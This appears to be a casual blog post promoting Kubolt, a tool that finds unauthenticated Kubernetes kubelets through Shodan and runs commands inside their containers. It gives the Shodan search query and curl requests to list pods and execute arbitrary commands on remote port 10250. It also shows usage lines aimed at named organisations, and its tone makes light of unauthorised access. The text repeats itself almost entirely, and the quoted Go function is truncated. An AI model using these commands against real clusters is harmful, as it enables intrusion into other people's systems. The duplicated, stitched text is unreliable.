Kubolt: Messing with Unsecured Kubernetes Clusters (a.k.a. That Thing You Probably Shouldn’t Use on Random Servers)
Alright, here’s the lowdown:
What’s Kubolt?
Kubolt’s a nifty little gadget for snooping out those Kubernetes clusters people left way too exposed — you know, no login, just swing the door open. Not only does it find 'em, but, yeah, it runs stuff inside their containers, too. Think Shodan meets “oh crap, I forgot to lock the door.”
The Dirty Details
See, folks sometimes leave the kubelet port (10250) unlocked and, boy, Kubolt goes right in through that. Because, get this, Kubernetes has this getRun thing (devs will cringe) that literally lets you fire off commands inside their containers if you poke it just right.
Here, check out the sort of Go code Kubolt exploits:
// getRun handles requests to run a command inside a container.
func (s *Server) getRun(request *restful.Request, response *restful.Response) {
params := getExecRequestParams(request)
pod, ok := s.host.GetPodByName(params.podNamespace, params.podName)
if !ok {
response.WriteError(http.StatusNotFound, fmt.Errorf("pod does not exist"))
return
}
}
(Yeah. That’s not great.)
How does Kubolt do its thing?
Next up, Kubolt checks which of those boxes are actually answering kubelet API calls and don’t cough up “Unauthorized” — gotta dodge those security basics, right?
Example call to see if something’s running:
curl -k https://<IP-from-Shodan>:10250/runningpods/
Pods not running? Whatever, Kubolt just makes a note. Maybe something pops up later. No biggie.
Then It Digs Up All Pods
You want a pod list? Easy:
curl -k https://<IP-from-Shodan>:10250/pods/
Or, hey, maybe they’re not even using SSL like it’s 2008:
curl http://<IP-from-Shodan>:10255/pods/
Now, For the Real Fun: Running Commands
Kubolt grabs pod/container info from that last call, then dreams up a request to do… literally whatever command you want:
curl -XPOST -k https://<IP-from-Shodan>:10250/run/<namespace>/<PodName>/<containerName> -d "cmd=<your-evil-plan>"
Want To Be Less Noisy? Targeted Scanning Is Your Friend
Don’t wanna nuke your Shodan credits or pull every unprotected cluster on the planet? Use filters:
python kubolt.py --query "asn:123123 org:'ACME Corporation'"
python kubolt.py --query "org:'ACME Corporation' country:UK"
Getting This Bad Boy Up and Running
Basic prep:
mkdir output
pip install -r requirements.txt
Then it’s go time:
python kubolt.py --query "asn:123123 org:'ACME Corporation'"
# Or
python kubolt.py --query "org:'ACME Corporation' country:UK"
Don’t be shocked if you burn through your Shodan API credits super quick, by the way. Not my problem.
Obligatory Legal Stuff
Seriously — Kubolt’s for educational/security testing only. Use it outside your lab and, well, don’t cry to me. If you break something, get sued, or find yourself on the wrong end of a tweetstorm, that’s on you.
Download Link? Here you go: [insert official repo or source here]
And, yeah, maybe double-check your own cluster is locked down? Just saying.
Alright, here’s the lowdown:
What’s Kubolt?
Kubolt’s a nifty little gadget for snooping out those Kubernetes clusters people left way too exposed — you know, no login, just swing the door open. Not only does it find 'em, but, yeah, it runs stuff inside their containers, too. Think Shodan meets “oh crap, I forgot to lock the door.”
The Dirty Details
See, folks sometimes leave the kubelet port (10250) unlocked and, boy, Kubolt goes right in through that. Because, get this, Kubernetes has this getRun thing (devs will cringe) that literally lets you fire off commands inside their containers if you poke it just right.
Here, check out the sort of Go code Kubolt exploits:
// getRun handles requests to run a command inside a container.
func (s *Server) getRun(request *restful.Request, response *restful.Response) {
params := getExecRequestParams(request)
pod, ok := s.host.GetPodByName(params.podNamespace, params.podName)
if !ok {
response.WriteError(http.StatusNotFound, fmt.Errorf("pod does not exist"))
return
}
}
(Yeah. That’s not great.)
How does Kubolt do its thing?
- Channel your inner hacker and grab the Shodan API key.
- Kubolt pings Shodan — asks, “Hey, what boxes got kubelet running on port 10250 with ssl enabled, and love giving out 404 errors?” (The magic query: ssl:true port:10250 404)
- It scoops up a bunch of IPs for further mischief.
Next up, Kubolt checks which of those boxes are actually answering kubelet API calls and don’t cough up “Unauthorized” — gotta dodge those security basics, right?
Example call to see if something’s running:
curl -k https://<IP-from-Shodan>:10250/runningpods/
Pods not running? Whatever, Kubolt just makes a note. Maybe something pops up later. No biggie.
Then It Digs Up All Pods
You want a pod list? Easy:
curl -k https://<IP-from-Shodan>:10250/pods/
Or, hey, maybe they’re not even using SSL like it’s 2008:
curl http://<IP-from-Shodan>:10255/pods/
Now, For the Real Fun: Running Commands
Kubolt grabs pod/container info from that last call, then dreams up a request to do… literally whatever command you want:
curl -XPOST -k https://<IP-from-Shodan>:10250/run/<namespace>/<PodName>/<containerName> -d "cmd=<your-evil-plan>"
Want To Be Less Noisy? Targeted Scanning Is Your Friend
Don’t wanna nuke your Shodan credits or pull every unprotected cluster on the planet? Use filters:
- asn: Autonomous System Number
- org: The org name
- country: Pick your playground
- net: If you’re feeling picky by network
python kubolt.py --query "asn:123123 org:'ACME Corporation'"
python kubolt.py --query "org:'ACME Corporation' country:UK"
Getting This Bad Boy Up and Running
Basic prep:
mkdir output
pip install -r requirements.txt
Then it’s go time:
python kubolt.py --query "asn:123123 org:'ACME Corporation'"
# Or
python kubolt.py --query "org:'ACME Corporation' country:UK"
Don’t be shocked if you burn through your Shodan API credits super quick, by the way. Not my problem.
Obligatory Legal Stuff
Seriously — Kubolt’s for educational/security testing only. Use it outside your lab and, well, don’t cry to me. If you break something, get sued, or find yourself on the wrong end of a tweetstorm, that’s on you.
Download Link? Here you go: [insert official repo or source here]
And, yeah, maybe double-check your own cluster is locked down? Just saying.